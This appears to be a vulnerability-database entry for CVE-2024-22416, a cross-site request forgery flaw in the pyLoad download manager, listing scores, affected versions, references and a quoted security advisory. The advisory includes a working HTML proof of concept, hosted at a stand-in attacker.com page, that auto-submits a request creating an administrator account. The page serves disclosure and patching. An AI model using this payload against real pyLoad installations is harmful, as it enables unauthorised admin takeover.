CVE-2024-22416
highpriority · attend · 45EPSS 0.009 · 61 %ileexploit · PoCEURUUSEPSS · scored 2026-10-27
pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode⚠ sources disagree · high–critical · 8.3–9.7
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
exploits (1)
Public proof-of-concept and weaponised exploit code.
- theorzr/ensimag-secu3a-cve-2024-22416CVE-2024-22416 exploit experimentsPoC · poc_in_github
affected products (5)
Products and version ranges known to be affected.
- pyload-ng project pyload-ng< 0.5.0b3.dev78nvdUScpe:2.3:a:pyload-ng_project:pyload-ng:*:*:*:*:*:*:*:*
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-pgpj-v85q-h5fmCross-Site Request Forgery on any API call in pyLoad may lead to admin privilege escalation2024-01-19ghsa · osvUS
### Summary The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. This proof of concept shows how an unauthenticated user could trick the administrator's browser into creating a new admin user. ### PoC We host the following HTML file on an attacker-controlled server. ```html <html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <form action="http://localhost:8000/api/add_user/%22hacker%22,%22hacker%22"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html> ``` If we now trick an administrator into visiting our malicious page at `https://attacker.com/CSRF.html`, we see that their browser will make a request to `/api/add_user/%22hacker%22,%22hacker%22`, adding a new administrator to the `pyload` application.  The attacker can now authenticate as this newly created administrator user with the username `hacker` and password `hacker`.  ### Impact Any API call can be made via a CSRF attack by an unauthenticated user.
- PYSEC-2024-172024-01-18vendor · osvUS
pyLoad is a free and open-source Download Manager written in pure Python. The `pyload` API allows any API call to be made using GET requests. Since the session cookie is not set to `SameSite: strict`, this opens the library up to severe attack possibilities via a Cross-Site Request Forgery (CSRF) attack. As a result any API call can be made via a CSRF attack by an unauthenticated user. This issue has been addressed in release `0.5.0b3.dev78`. All users are advised to upgrade.
also known as (7)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (9)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2024-22416/cnnvd
- https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3ePatchcnnvd
- https://nvd.nist.gov/vuln/detail/CVE-2024-22416cnnvd
- https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3eenisa_euvd
- https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fcenisa_euvd
- https://github.com/pyload/pyload/security/advisories/GHSA-pgpj-v85q-h5fmenisa_euvd
- https://github.com/pyload/pyload/commit/1374c824271cb7e927740664d06d2e577624ca3ePatchnvd
- https://github.com/pyload/pyload/commit/c7cdc18ad9134a75222974b39e8b427c4af845fcPatchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan